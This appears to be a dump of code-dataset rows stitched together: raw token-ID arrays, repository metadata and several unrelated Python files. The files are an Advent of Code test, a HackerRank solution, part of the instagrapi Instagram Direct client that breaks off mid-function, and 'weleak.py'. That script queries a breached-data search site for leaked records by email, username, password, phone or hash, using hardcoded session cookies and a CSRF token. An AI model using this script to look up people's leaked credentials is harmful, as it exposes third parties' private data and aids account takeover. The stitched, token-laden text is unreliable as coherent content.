7050, 29889, 29995, 29881, 29915, 1273, 313, 23848, 29892, 2897, 29889, 657, 5935, 3101, 13, 9651, 411, 1722, 29898, 4993, 29897, 408, 285, 29901, 13, 18884, 3454, 353, 1051, 29898, 29888, 29897, 13, 13, 9651, 565, 3440, 29901, 13, 18884, 3454, 353, 6024, 29937, 525, 718, 1196, 13, 462, 308, 565, 1196, 29889, 17010, 580, 322, 451, 1196, 29889, 27382, 2541, 14237, 1495, 13, 462, 308, 1683, 1196, 13, 462, 308, 363, 1196, 297, 3454, 29962, 13, 13, 9651, 411, 1722, 29898, 7050, 29892, 525, 29893, 1495, 408, 285, 29901, 13, 18884, 285, 29889, 3539, 877, 4286, 7122, 29898, 9012, 876, 13, 13, 9651, 1018, 29901, 13, 18884, 2897, 29889, 1267, 420, 29898, 7050, 29892, 12551, 29897, 13, 9651, 5174, 438, 29173, 29901, 13, 18884, 2897, 29889, 5992, 29898, 7050, 29897, 13, 1678, 5174, 438, 29173, 29901, 13, 4706, 1209, 13, 13, 13, 1753, 6314, 29898, 24772, 11759, 1402, 8829, 29922, 8516, 1125, 13, 1678, 9995, 13, 1678, 24930, 5285, 515, 10898, 322, 5177, 3651, 13, 13, 1678, 12662, 2699, 13, 1678, 448, 1378, 29899, 13, 1678, 10898, 584, 2391, 29961, 710, 29962, 13, 4706, 319, 1051, 310, 10898, 304, 2740, 363, 343, 8807, 2295, 2066, 13, 13, 1678, 8829, 584, 9657, 13, 4706, 450, 1788, 5177, 3651, 13, 13, 1678, 16969, 13, 1678, 448, 22158, 13, 1678, 2295, 29901, 9657, 13, 1678, 9995, 13, 1678, 565, 8829, 338, 6213, 29901, 13, 4706, 8829, 353, 2897, 29889, 21813, 13, 1678, 2295, 29879, 353, 5159, 13, 13, 1678, 565, 343, 8807, 29901, 13, 4706, 2295, 29879, 29889, 21843, 29898, 15914, 29918, 25162, 29898, 24772, 29922, 24772, 876, 13, 13, 1678, 736, 10366, 10456, 2917, 29879, 29897, 13, 13, 13, 1753, 11086, 29898, 2917, 29922, 2917, 29892, 21274, 29922, 4381, 29879, 29892, 3579, 19290, 1125, 13, 1678, 9995, 13, 1678, 10318, 5285, 491, 337, 29899, 19715, 343, 8807, 2066, 322, 8829, 3651, 13, 13, 1678, 910, 5478, 1078, 278, 5534, 13958, 279, 29889, 2917, 29889, 2917, 29892, 470, 278, 2295, 3443, 565, 13, 1678, 4502, 297, 29889, 13, 13, 1678, 910, 5771, 1549, 278, 1494, 22950, 29901, 13, 13, 268, 29896, 29889, 29871, 17732, 292, 714, 599, 2030, 5285, 13, 268, 29906, 29889, 29871, 5020, 26747, 515, 278, 6087, 21274, 515, 1623, 5461, 9562, 13, 4706, 313, 4149, 2767, 29918, 4381, 29879, 29897, 13, 268, 29941, 29889, 29871, 5020, 26747, 515, 343, 8807, 2066, 322, 5177, 3651, 13, 13, 1678, 3940, 393, 777, 9863, 871, 12747, 5285, 2748, 472, 20234, 322, 13, 1678, 1122, 451, 1735, 6030, 29892, 1584, 565, 5285, 3620, 29889, 29871, 739, 338, 13622, 13, 1678, 304, 10715, 596, 3017, 1889, 565, 19192, 304, 9801, 393, 716, 13, 1678, 5285, 3620, 2125, 2058, 29889, 13, 1678, 9995, 13, 1678, 679, 29889, 8173, 29918, 8551, 580, 13, 1678, 2295, 29889, 8551, 580, 13, 13, 1678, 363, 270, 297, 21274, 29901, 13, 4706, 2767, 29898, 2917, 29892, 270, 29892, 20136, 2433, 1482, 1495, 13, 13, 1678, 2767, 29898, 2917, 29892, 6314, 29898, 1068, 19290, 876, 13, 13, 13, 29992, 29880, 582, 29918, 8173, 29898, 3317, 2311, 29922, 29896, 29906, 29947, 29897, 13, 1753, 679, 29898, 1989, 29892, 2322, 29922, 1217, 29918, 4381, 29892, 2295, 29922, 2917, 1125, 29871, 396, 282, 23929, 29901, 694, 4612, 13, 1678, 9995, 13, 1678, 3617, 3161, 515, 5534, 2295, 13, 13, 1678, 4803, 525, 6169, 363, 9322, 2130, 13, 13, 1678, 1222, 9422, 13, 1678, 448, 26589, 13, 1678, 8653, 515, 13958, 279, 1053, 2295, 13, 1678, 8653, 2295, 29889, 657, 877, 5431, 1495, 29871, 396, 437, 312, 342, 29901, 718, 16033, 5690, 13, 1678, 11117, 29916, 2396, 29871, 29896, 29892, 525, 29891, 2396, 29871, 29906, 29913, 13, 13, 1678, 8653, 2295, 29889, 657, 877, 5431, 29889, 29916, 1495, 29871, 396, 437, 312, 342, 29901, 718, 16033, 5690, 13, 268, 29896, 13, 13, 1678, 8653, 2295, 29889, 657, 877, 5431, 29889, 29916, 29889, 29891, 742, 2322, 29922, 29896, 29906, 29941, 29897, 29871, 396, 437, 312, 342, 29901, 718, 16033, 5690, 13, 268, 29896, 29906, 29941, 13, 1678, 9995, 13, 1678, 6611, 353, 1820, 29889, 5451, 12839, 1495, 13, 1678, 1121, 353, 2295, 13, 1678, 363, 413, 297, 6611, 29901, 13, 4706, 1018, 29901, 13, 9651, 1121, 353, 1121, 29961, 29895, 29962, 13, 4706, 5174, 313, 1542, 2392, 29892, 11374, 2392, 29892, 7670, 2392, 1125, 13, 9651, 565, 2322, 338, 451, 694, 29918, 4381, 29901, 13, 18884, 736, 2322, 13, 9651, 1683, 29901, 13, 18884, 12020, 13, 1678, 736, 1121, 2 ]
test_day01.py
clfs/aoc2019
0
27988
<filename>test_day01.py def fuel_required(weight: int) -> int: return weight // 3 - 2 def fuel_required_accurate(weight: int) -> int: fuel = 0 while weight > 0: weight = max(0, weight // 3 - 2) fuel += weight return fuel def test_fuel_required() -> None: cases = [(12, 2), (14, 2), (1969, 654), (100756, 33583)] for x, y in cases: assert fuel_required(x) == y def test_fuel_required_accurate() -> None: cases = [(14, 2), (1969, 966), (100756, 50346)] for x, y in cases: assert fuel_required_accurate(x) == y def test_solutions() -> None: with open("input/01.txt") as f: modules = [int(line) for line in f] part_1 = sum(map(fuel_required, modules)) part_2 = sum(map(fuel_required_accurate, modules)) assert part_1 == 3375962 assert part_2 == 5061072
[ 1, 529, 9507, 29958, 1688, 29918, 3250, 29900, 29896, 29889, 2272, 13, 1753, 26413, 29918, 12403, 29898, 7915, 29901, 938, 29897, 1599, 938, 29901, 13, 1678, 736, 7688, 849, 29871, 29941, 448, 29871, 29906, 13, 13, 13, 1753, 26413, 29918, 12403, 29918, 562, 2764, 403, 29898, 7915, 29901, 938, 29897, 1599, 938, 29901, 13, 1678, 26413, 353, 29871, 29900, 13, 1678, 1550, 7688, 1405, 29871, 29900, 29901, 13, 4706, 7688, 353, 4236, 29898, 29900, 29892, 7688, 849, 29871, 29941, 448, 29871, 29906, 29897, 13, 4706, 26413, 4619, 7688, 13, 1678, 736, 26413, 13, 13, 13, 1753, 1243, 29918, 29888, 2491, 29918, 12403, 580, 1599, 6213, 29901, 13, 1678, 4251, 353, 17288, 29896, 29906, 29892, 29871, 29906, 511, 313, 29896, 29946, 29892, 29871, 29906, 511, 313, 29896, 29929, 29953, 29929, 29892, 29871, 29953, 29945, 29946, 511, 313, 29896, 29900, 29900, 29955, 29945, 29953, 29892, 29871, 29941, 29941, 29945, 29947, 29941, 4638, 13, 1678, 363, 921, 29892, 343, 297, 4251, 29901, 13, 4706, 4974, 26413, 29918, 12403, 29898, 29916, 29897, 1275, 343, 13, 13, 13, 1753, 1243, 29918, 29888, 2491, 29918, 12403, 29918, 562, 2764, 403, 580, 1599, 6213, 29901, 13, 1678, 4251, 353, 17288, 29896, 29946, 29892, 29871, 29906, 511, 313, 29896, 29929, 29953, 29929, 29892, 29871, 29929, 29953, 29953, 511, 313, 29896, 29900, 29900, 29955, 29945, 29953, 29892, 29871, 29945, 29900, 29941, 29946, 29953, 4638, 13, 1678, 363, 921, 29892, 343, 297, 4251, 29901, 13, 4706, 4974, 26413, 29918, 12403, 29918, 562, 2764, 403, 29898, 29916, 29897, 1275, 343, 13, 13, 13, 1753, 1243, 29918, 2929, 17925, 580, 1599, 6213, 29901, 13, 1678, 411, 1722, 703, 2080, 29914, 29900, 29896, 29889, 3945, 1159, 408, 285, 29901, 13, 4706, 10585, 353, 518, 524, 29898, 1220, 29897, 363, 1196, 297, 285, 29962, 13, 13, 1678, 760, 29918, 29896, 353, 2533, 29898, 1958, 29898, 29888, 2491, 29918, 12403, 29892, 10585, 876, 13, 1678, 760, 29918, 29906, 353, 2533, 29898, 1958, 29898, 29888, 2491, 29918, 12403, 29918, 562, 2764, 403, 29892, 10585, 876, 13, 1678, 4974, 760, 29918, 29896, 1275, 29871, 29941, 29941, 29955, 29945, 29929, 29953, 29906, 13, 1678, 4974, 760, 29918, 29906, 1275, 29871, 29945, 29900, 29953, 29896, 29900, 29955, 29906, 13, 2 ]
Algorithms/Implementation/library-fine.py
RitvijSrivastava/Hackerrank-1
29
104546
#!/bin/python3 import sys total = 0 d1,m1,y1 = input().strip().split(' ') d1,m1,y1 = [int(d1),int(m1),int(y1)] d2,m2,y2 = input().strip().split(' ') d2,m2,y2 = [int(d2),int(m2),int(y2)] if(y2<y1): total = 10000 elif (y2==y1): if(m2<m1): total = 500*(m1-m2) elif(m1==m2): if(d2<d1): total = 15*(d1-d2) print (total)
[ 1, 18787, 2109, 29914, 4691, 29941, 13, 13, 5215, 10876, 13, 7827, 353, 29871, 29900, 13, 29881, 29896, 29892, 29885, 29896, 29892, 29891, 29896, 353, 1881, 2141, 17010, 2141, 5451, 877, 25710, 13, 29881, 29896, 29892, 29885, 29896, 29892, 29891, 29896, 353, 518, 524, 29898, 29881, 29896, 511, 524, 29898, 29885, 29896, 511, 524, 29898, 29891, 29896, 4638, 13, 29881, 29906, 29892, 29885, 29906, 29892, 29891, 29906, 353, 1881, 2141, 17010, 2141, 5451, 877, 25710, 13, 29881, 29906, 29892, 29885, 29906, 29892, 29891, 29906, 353, 518, 524, 29898, 29881, 29906, 511, 524, 29898, 29885, 29906, 511, 524, 29898, 29891, 29906, 4638, 13, 361, 29898, 29891, 29906, 29966, 29891, 29896, 1125, 29871, 13, 1678, 3001, 353, 29871, 29896, 29900, 29900, 29900, 29900, 13, 23681, 313, 29891, 29906, 1360, 29891, 29896, 1125, 13, 1678, 565, 29898, 29885, 29906, 29966, 29885, 29896, 1125, 29871, 13, 4706, 3001, 353, 29871, 29945, 29900, 29900, 16395, 29885, 29896, 29899, 29885, 29906, 29897, 13, 1678, 25342, 29898, 29885, 29896, 1360, 29885, 29906, 1125, 13, 4706, 565, 29898, 29881, 29906, 29966, 29881, 29896, 1125, 13, 9651, 3001, 353, 29871, 29896, 29945, 16395, 29881, 29896, 29899, 29881, 29906, 29897, 13, 2158, 313, 7827, 29897, 2 ]
weleak.py
lectair/WeLeak-CLI
2
151831
import requests import json import cloudscraper import re import sys from bs4 import BeautifulSoup mode = input('''Select mode: - Email: email - Username: username - Email by password: <PASSWORD> - Username by password: elogin - Phone (BETA): phone - Domain (BETA): domain - Email by hash: hash ''').lower() try: query = str(input('Select your query: ')).rstrip() print() except: print('Please enter a valid query.') sys.exit() url = 'https://weleakinfo.to/system/ajax/search.php?type=search' headers = { "Host": "weleakinfo.to", "user-agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-type": "application/x-www-form-urlencoded", "Content-Length": "71", "Origin": "https://weleakinfo.to", "DNT": "1", "Connection": "keep-alive", "Referer": "https://weleakinfo.to/", "Cookie": "__cfduid=d2578cdc2c2a1033b81a83678fc50d64d1596046136; __ddg1=6nCPL8o6dfDcGXKhNCOT; PHPSESSID=48a46430e524883800d701888dbdacbd", "TE": "Trailers" } scraper = cloudscraper.create_scraper() response = scraper.get("https://weleakinfo.to").text soup = BeautifulSoup(response) csrf = soup.find("input", {"name":"csrf"})['value'] data = { 'query': query, 'type': mode, 'csrf': '88bff874b8bdd92a5ad36c0eeadc2211b29e300f' } response = requests.post(url, data=data, headers=headers) phrase = '' for i in response.text: phrase = phrase+i.rstrip() soup = BeautifulSoup(phrase) if 'Noentriesfound' in soup: print('No entries found or bad query.\n') sys.exit() else: tables = soup.findChildren('tbody') my_table = tables[0] rows = my_table.findChildren(['th', 'tr']) for row in rows: cells = row.findChildren('th') for cell in cells: value = cell.string print(value) sys.exit()
[ 1, 1053, 7274, 13, 5215, 4390, 13, 5215, 9570, 1557, 336, 546, 13, 5215, 337, 13, 5215, 10876, 13, 3166, 24512, 29946, 1053, 25685, 29903, 1132, 13, 13, 8513, 353, 1881, 877, 4907, 3549, 4464, 29901, 13, 448, 22608, 29901, 4876, 13, 448, 4911, 978, 29901, 8952, 13, 448, 22608, 491, 4800, 29901, 529, 25711, 17013, 29958, 13, 448, 4911, 978, 491, 4800, 29901, 560, 468, 262, 13, 448, 24323, 313, 29933, 2544, 29909, 1125, 9008, 13, 448, 28460, 313, 29933, 2544, 29909, 1125, 5354, 13, 448, 22608, 491, 6608, 29901, 6608, 13, 13, 4907, 2824, 13609, 580, 13, 13, 2202, 29901, 13, 1678, 2346, 353, 851, 29898, 2080, 877, 3549, 596, 2346, 29901, 525, 8106, 29878, 17010, 580, 13, 1678, 1596, 580, 13, 19499, 29901, 13, 1678, 1596, 877, 12148, 3896, 263, 2854, 2346, 29889, 1495, 13, 1678, 10876, 29889, 13322, 580, 13, 13, 2271, 353, 525, 991, 597, 705, 280, 557, 3888, 29889, 517, 29914, 5205, 29914, 6538, 29914, 4478, 29889, 1961, 29973, 1853, 29922, 4478, 29915, 13, 13, 13662, 353, 426, 13, 1678, 376, 8514, 1115, 376, 705, 280, 557, 3888, 29889, 517, 613, 13, 1678, 376, 1792, 29899, 14748, 1115, 376, 29924, 2112, 2911, 29914, 29945, 29889, 29900, 313, 7685, 405, 29911, 29871, 29896, 29900, 29889, 29900, 29936, 364, 29894, 29901, 29955, 29947, 29889, 29900, 29897, 1879, 27604, 29914, 29906, 29900, 29896, 29900, 29900, 29896, 29900, 29896, 14418, 29914, 29955, 29947, 29889, 29900, 613, 13, 1678, 376, 23965, 1115, 376, 3877, 29930, 613, 13, 1678, 376, 23965, 29899, 21233, 1115, 376, 264, 29899, 3308, 29892, 264, 29936, 29939, 29922, 29900, 29889, 29945, 613, 13, 1678, 376, 23965, 29899, 14934, 1115, 376, 29887, 7554, 29892, 822, 9632, 29892, 1506, 613, 13, 1678, 376, 3916, 29899, 1853, 1115, 376, 6214, 29914, 29916, 29899, 1636, 29899, 689, 29899, 2271, 26716, 613, 13, 1678, 376, 3916, 29899, 6513, 1115, 376, 29955, 29896, 613, 13, 1678, 376, 23182, 1115, 376, 991, 597, 705, 280, 557, 3888, 29889, 517, 613, 13, 1678, 376, 29928, 20321, 1115, 376, 29896, 613, 13, 1678, 376, 5350, 1115, 376, 17462, 29899, 284, 573, 613, 13, 1678, 376, 1123, 571, 261, 1115, 376, 991, 597, 705, 280, 557, 3888, 29889, 517, 29914, 613, 13, 1678, 376, 24914, 1115, 376, 1649, 6854, 700, 333, 29922, 29881, 29906, 29945, 29955, 29947, 2252, 29883, 29906, 29883, 29906, 29874, 29896, 29900, 29941, 29941, 29890, 29947, 29896, 29874, 29947, 29941, 29953, 29955, 29947, 13801, 29945, 29900, 29881, 29953, 29946, 29881, 29896, 29945, 29929, 29953, 29900, 29946, 29953, 29896, 29941, 29953, 29936, 4770, 1289, 29887, 29896, 29922, 29953, 29876, 6271, 29931, 29947, 29877, 29953, 2176, 29928, 29883, 29954, 29990, 29968, 29882, 15868, 2891, 29936, 5048, 1660, 1799, 1367, 29922, 29946, 29947, 29874, 29946, 29953, 29946, 29941, 29900, 29872, 29945, 29906, 29946, 29947, 29947, 29941, 29947, 29900, 29900, 29881, 29955, 29900, 29896, 29947, 29947, 29947, 2585, 29881, 562, 6448, 613, 13, 1678, 376, 4330, 1115, 376, 5323, 22058, 29908, 13, 29913, 13, 13, 1557, 336, 546, 353, 9570, 1557, 336, 546, 29889, 3258, 29918, 1557, 336, 546, 580, 13, 5327, 353, 24559, 546, 29889, 657, 703, 991, 597, 705, 280, 557, 3888, 29889, 517, 2564, 726, 13, 29879, 1132, 353, 25685, 29903, 1132, 29898, 5327, 29897, 13, 2395, 9600, 353, 22300, 29889, 2886, 703, 2080, 613, 8853, 978, 4710, 2395, 9600, 29908, 1800, 1839, 1767, 2033, 13, 13, 1272, 353, 426, 13, 1678, 525, 1972, 2396, 2346, 29892, 13, 1678, 525, 1853, 2396, 4464, 29892, 13, 1678, 525, 2395, 9600, 2396, 525, 29947, 29947, 29890, 600, 29947, 29955, 29946, 29890, 29947, 29890, 1289, 29929, 29906, 29874, 29945, 328, 29941, 29953, 29883, 29900, 29872, 1479, 29883, 29906, 29906, 29896, 29896, 29890, 29906, 29929, 29872, 29941, 29900, 29900, 29888, 29915, 13, 29913, 13, 13, 5327, 353, 7274, 29889, 2490, 29898, 2271, 29892, 848, 29922, 1272, 29892, 9066, 29922, 13662, 29897, 13, 24588, 559, 353, 6629, 13, 1454, 474, 297, 2933, 29889, 726, 29901, 13, 1678, 16549, 353, 16549, 29974, 29875, 29889, 29878, 17010, 580, 13, 13, 29879, 1132, 353, 25685, 29903, 1132, 29898, 24588, 559, 29897, 13, 361, 525, 3782, 26586, 11940, 29915, 297, 22300, 29901, 13, 1678, 1596, 877, 3782, 9976, 1476, 470, 4319, 2346, 7790, 29876, 1495, 13, 1678, 10876, 29889, 13322, 580, 13, 2870, 29901, 13, 1678, 6131, 353, 22300, 29889, 2886, 19334, 877, 15370, 1495, 13, 1678, 590, 29918, 2371, 353, 6131, 29961, 29900, 29962, 13, 1678, 4206, 353, 590, 29918, 2371, 29889, 2886, 19334, 18959, 386, 742, 525, 509, 11287, 13, 1678, 363, 1948, 297, 4206, 29901, 13, 4706, 9101, 353, 1948, 29889, 2886, 19334, 877, 386, 1495, 13, 4706, 363, 3038, 297, 9101, 29901, 13, 9651, 995, 353, 3038, 29889, 1807, 13, 9651, 1596, 29898, 1767, 29897, 13, 9675, 29889, 13322, 580, 13, 2 ]
instagrapi/mixins/direct.py
wpbloger/instagrapi
1
135651
<reponame>wpbloger/instagrapi import random import re import time from pathlib import Path from typing import List from instagrapi.exceptions import ClientNotFoundError, DirectThreadNotFound from instagrapi.extractors import ( extract_direct_message, extract_direct_response, extract_direct_short_thread, extract_direct_thread, ) from instagrapi.types import ( DirectMessage, DirectResponse, DirectShortThread, DirectThread, ) from instagrapi.utils import dumps class DirectMixin: """ Helpers for managing Direct Messaging """ def direct_threads(self, amount: int = 20) -> List[DirectThread]: """ Get direct message threads Parameters ---------- amount: int, optional Maximum number of media to return, default is 20 Returns ------- List[DirectThread] A list of objects of DirectThread """ assert self.user_id, "Login required" params = { "visual_message_return_type": "unseen", "thread_message_limit": "10", "persistentBadging": "true", "limit": "20", } cursor = None threads = [] self.private_request("direct_v2/get_presence/") while True: if cursor: params["cursor"] = cursor result = self.private_request("direct_v2/inbox/", params=params) inbox = result.get("inbox", {}) for thread in inbox.get("threads", []): threads.append(extract_direct_thread(thread)) cursor = inbox.get("oldest_cursor") if not cursor or (amount and len(threads) >= amount): break if amount: threads = threads[:amount] return threads def direct_pending_inbox(self, amount: int = 20) -> List[DirectThread]: """ Get direct message pending threads Parameters ---------- amount: int, optional Maximum number of media to return, default is 20 Returns ------- List[DirectThread] A list of objects of DirectThread """ assert self.user_id, "Login required" params = { "visual_message_return_type": "unseen", "persistentBadging": "true", } cursor = None threads = [] # self.private_request("direct_v2/get_presence/") while True: if cursor: params["cursor"] = cursor result = self.private_request("direct_v2/pending_inbox/", params=params) inbox = result.get("inbox", {}) for thread in inbox.get("threads", []): threads.append(extract_direct_thread(thread)) cursor = inbox.get("oldest_cursor") if not cursor or (amount and len(threads) >= amount): break if amount: threads = threads[:amount] return threads def direct_thread(self, thread_id: int, amount: int = 20) -> DirectThread: """ Get all the information about a Direct Message thread Parameters ---------- thread_id: int Unique identifier of a Direct Message thread amount: int, optional Maximum number of media to return, default is 20 Returns ------- DirectThread An object of DirectThread """ assert self.user_id, "Login required" params = { "visual_message_return_type": "unseen", "direction": "older", "seq_id": "40065", # 59663 "limit": "20", } cursor = None items = [] while True: if cursor: params["cursor"] = cursor try: result = self.private_request( f"direct_v2/threads/{thread_id}/", params=params ) except ClientNotFoundError as e: raise DirectThreadNotFound(e, thread_id=thread_id, **self.last_json) thread = result["thread"] for item in thread["items"]: items.append(item) cursor = thread.get("oldest_cursor") if not cursor or (amount and len(items) >= amount): break if amount: items = items[:amount] thread["items"] = items return extract_direct_thread(thread) def direct_messages(self, thread_id: int, amount: int = 20) -> List[DirectMessage]: """ Get all the messages from a thread Parameters ---------- thread_id: int Unique identifier of a Direct Message thread amount: int, optional Maximum number of media to return, default is 20 Returns ------- List[DirectMessage] A list of objects of DirectMessage """ assert self.user_id, "Login required" return self.direct_thread(thread_id, amount).messages def direct_answer(self, thread_id: int, text: str) -> DirectMessage: """ Post a message on a Direct Message thread Parameters ---------- thread_id: int Unique identifier of a Direct Message thread text: str String to be posted on the thread Returns ------- DirectMessage An object of DirectMessage """ assert self.user_id, "Login required" return self.direct_send(text, [], [int(thread_id)]) def direct_send(self, text: str, user_ids: List[int] = [], thread_ids: List[int] = []) -> DirectMessage: """ Send a direct message to list of users or threads Parameters ---------- text: str String to be posted on the thread user_ids: List[int] List of unique identifier of Users id thread_ids: List[int] List of unique identifier of Direct Message thread id Returns ------- DirectMessage An object of DirectMessage """ assert self.user_id, "Login required" assert (user_ids or thread_ids) and not (user_ids and thread_ids), "Specify user_ids or thread_ids, but not both" method = "text" token = self.generate_mutation_token() kwargs = { "action": "send_item", "is_shh_mode": "0", "send_attribution": "direct_thread", "client_context": token, "mutation_token": token, "nav_chain": "1qT:feed_timeline:1,1qT:feed_timeline:2,1qT:feed_timeline:3,7Az:direct_inbox:4,7Az:direct_inbox:5,5rG:direct_thread:7", "offline_threading_id": token, } if "http" in text: method = "link" kwargs["link_text"] = text kwargs["link_urls"] = dumps(re.findall(r"(https?://[^\s]+)", text)) else: kwargs["text"] = text if thread_ids: kwargs["thread_ids"] = dumps([int(tid) for tid in thread_ids]) if user_ids: kwargs["recipient_users"] = dumps([[int(uid) for uid in user_ids]]) result = self.private_request( f"direct_v2/threads/broadcast/{method}/", data=self.with_default_data(kwargs), with_signature=False ) return extract_direct_message(result["payload"]) def direct_send_photo(self, path: Path, user_ids: List[int] = [], thread_ids: List[int] = []) -> DirectMessage: """ Send a direct photo to list of users or threads Parameters ---------- path: Path Path to photo that will be posted on the thread user_ids: List[int] List of unique identifier of Users id thread_ids: List[int] List of unique identifier of Direct Message thread id Returns ------- DirectMessage An object of DirectMessage """ return self.direct_send_file(path, user_ids, thread_ids, content_type='photo') def direct_send_video(self, path: Path, user_ids: List[int] = [], thread_ids: List[int] = []) -> DirectMessage: """ Send a direct video to list of users or threads Parameters ---------- path: Path Path to video that will be posted on the thread user_ids: List[int] List of unique identifier of Users id thread_ids: List[int] List of unique identifier of Direct Message thread id Returns ------- DirectMessage An object of DirectMessage """ return self.direct_send_file(path, user_ids, thread_ids, content_type='video') def direct_send_file(self, path: Path, user_ids: List[int] = [], thread_ids: List[int] = [], content_type: str = 'photo') -> DirectMessage: """ Send a direct file to list of users or threads Parameters ---------- path: Path Path to file that will be posted on the thread user_ids: List[int] List of unique identifier of Users id thread_ids: List[int] List of unique identifier of Direct Message thread id Returns ------- DirectMessage An object of DirectMessage """ assert self.user_id, "Login required" assert (user_ids or thread_ids) and not (user_ids and thread_ids), "Specify user_ids or thread_ids, but not both" method = f"configure_{content_type}" token = self.generate_mutation_token() nav_chains = [ "6xQ:direct_media_picker_photos_fragment:1,5rG:direct_thread:2,5ME:direct_quick_camera_fragment:3,5ME:direct_quick_camera_fragment:4,4ju:reel_composer_preview:5,5rG:direct_thread:6,5rG:direct_thread:7,6xQ:direct_media_picker_photos_fragment:8,5rG:direct_thread:9", "1qT:feed_timeline:1,7Az:direct_inbox:2,7Az:direct_inbox:3,5rG:direct_thread:4,6xQ:direct_media_picker_photos_fragment:5,5rG:direct_thread:6,5rG:direct_thread:7,6xQ:direct_media_picker_photos_fragment:8,5rG:direct_thread:9", ] kwargs = {} data = { "action": "send_item", "is_shh_mode": "0", "send_attribution": "direct_thread", "client_context": token, "mutation_token": token, "nav_chain": random.choices(nav_chains), "offline_threading_id": token, } if content_type == "video": data["video_result"] = "" kwargs["to_direct"] = True if content_type == "photo": data["send_attribution"] = "inbox" data["allow_full_aspect_ratio"] = "true" if user_ids: data["recipient_users"] = dumps([[int(uid) for uid in user_ids]]) if thread_ids: data["thread_ids"] = dumps([int(tid) for tid in thread_ids]) path = Path(path) upload_id = str(int(time.time() * 1000)) upload_id, width, height = getattr(self, f'{content_type}_rupload')(path, upload_id, **kwargs)[:3] data['upload_id'] = upload_id # data['content_type'] = content_type result = self.private_request( f"direct_v2/threads/broadcast/{method}/", data=self.with_default_data(data), with_signature=False, ) return extract_direct_message(result["payload"]) def direct_send_seen(self, thread_id: int) -> DirectResponse: """ Send seen to thread Parameters ---------- thread_id: int Id of thread which messages will be read Returns ------- An object of DirectResponse """ data = {} thread = self.direct_thread(thread_id=thread_id) result = self.private_request( f"direct_v2/threads/{thread_id}/items/{thread.messages[0].id}/seen/", data=self.with_default_data(data), with_signature=False, ) return extract_direct_response(result) def direct_search(self, query: str) -> List[DirectShortThread]: """ Search threads by query Parameters ---------- query: String Text query, e.g. username Returns ------- List[DirectShortThread] List of short version of DirectThread """ result = self.private_request( "direct_v2/ranked_recipients/", params={"mode": "raven", "show_threads": "true", "query": str(query)} ) return [ extract_direct_short_thread(item.get('thread', {})) for item in result.get('ranked_recipients', []) if 'thread' in item ] def direct_thread_by_participants(self, user_ids: List[int]) -> DirectThread: """ Get direct thread by participants Parameters ---------- user_ids: List[int] List of unique identifier of Users id Returns ------- DirectThread An object of DirectThread """ recipient_users = dumps([int(uid) for uid in user_ids]) result = self.private_request( "direct_v2/threads/get_by_participants/", params={"recipient_users": recipient_users, "seq_id": 2580572, "limit": 20} ) if 'thread' not in result: raise DirectThreadNotFound( f'Thread not found by recipient_users={recipient_users}', user_ids=user_ids, **self.last_json ) return extract_direct_thread(result['thread']) def direct_thread_hide(self, thread_id: int) -> bool: """ Hide (delete) a thread When you click delete, Instagram hides a thread Parameters ---------- thread_id: int Id of thread which messages will be read Returns ------- bool A boolean value """ data = self.with_default_data({}) data.pop('_uid', None) data.pop('device_id', None) result = self.private_request( f"direct_v2/threads/{thread_id}/hide/", data=data ) return result["status"] == "ok" def direct_media_share(self, media_id: str, user_ids: List[int]) -> DirectMessage: """ Share a media to list of users Parameters ---------- media_id: str Unique Media ID user_ids: List[int] List of unique identifier of Users id Returns ------- DirectMessage An object of DirectMessage """ assert self.user_id, "Login required" token = self.generate_mutation_token() media_id = self.media_id(media_id) recipient_users = dumps([[int(uid) for uid in user_ids]]) data = { 'recipient_users': recipient_users, 'action': 'send_item', 'is_shh_mode': 0, 'send_attribution': 'feed_timeline', 'client_context': token, 'media_id': media_id, 'mutation_token': token, 'nav_chain': '1VL:feed_timeline:1,1VL:feed_timeline:2,1VL:feed_timeline:5,DirectShareSheetFragment:direct_reshare_sheet:6', 'offline_threading_id': token, } result = self.private_request( "direct_v2/threads/broadcast/media_share/", # params={'media_type': 'video'}, data=self.with_default_data(data), with_signature=False, ) return extract_direct_message(result["payload"]) def direct_story_share(self, story_id: str, user_ids: List[int] = [], thread_ids: List[int] = []) -> DirectMessage: """ Share a story to list of users Parameters ---------- story_id: str Unique Story ID user_ids: List[int] List of unique identifier of Users id thread_ids: List[int] List of unique identifier of Users id Returns ------- DirectMessage An object of DirectMessage """ assert self.user_id, "Login required" assert (user_ids or thread_ids) and not (user_ids and thread_ids), "Specify user_ids or thread_ids, but not both" story_id = self.media_id(story_id) story_pk = self.media_pk(story_id) token = self.generate_mutation_token() data = { "action": "send_item", "is_shh_mode": "0", "send_attribution": "reel_feed_timeline", "client_context": token, "mutation_token": token, "nav_chain": "1qT:feed_timeline:1,ReelViewerFragment:reel_feed_timeline:4,DirectShareSheetFragment:direct_reshare_sheet:5", "reel_id": story_pk, "containermodule": "reel_feed_timeline", "story_media_id": story_id, "offline_threading_id": token, } if user_ids: data["recipient_users"] = dumps([[int(uid) for uid in user_ids]]) if thread_ids: data["thread_ids"] = dumps([int(tid) for tid in thread_ids]) result = self.private_request( "direct_v2/threads/broadcast/story_share/", # params={'story_type': 'video'}, data=self.with_default_data(data), with_signature=False, ) return extract_direct_message(result["payload"]) def direct_thread_mark_unread(self, thread_id: int) -> bool: """ Mark a thread as unread Parameters ---------- thread_id: int Id of thread Returns ------- bool A boolean value """ data = self.with_default_data({}) data.pop('_uid', None) data.pop('device_id', None) result = self.private_request( f"direct_v2/threads/{thread_id}/mark_unread/", data=data ) return result["status"] == "ok" def direct_message_delete(self, thread_id: int, message_id: int) -> bool: """ Delete a message from thread Parameters ---------- thread_id: int Id of thread message_id: int Id of message Returns ------- bool A boolean value """ data = self.with_default_data({}) data.pop('_uid', None) data.pop('device_id', None) data['is_shh_mode'] = 0 data['send_attribution'] = 'direct_thread' data['original_message_client_context'] = self.generate_mutation_token() result = self.private_request( f"direct_v2/threads/{thread_id}/items/{message_id}/delete/", data=data ) return result["status"] == "ok" def direct_thread_mute(self, thread_id: int, revert: bool = False) -> bool: """ Mute the thread Parameters ---------- thread_id: int Id of thread revert: bool, optional If muted, whether or not to unmute. Default is False Returns ------- bool A boolean value """ name = "unmute" if revert else "mute" result = self.private_request( f"direct_v2/threads/{thread_id}/{name}/", data={'_uuid': self.uuid} ) return result["status"] == "ok" def direct_thread_unmute(self, thread_id: int) -> bool: """ Unmute the thread Parameters ---------- thread_id: int Id of thread Returns ------- bool A boolean value """ return 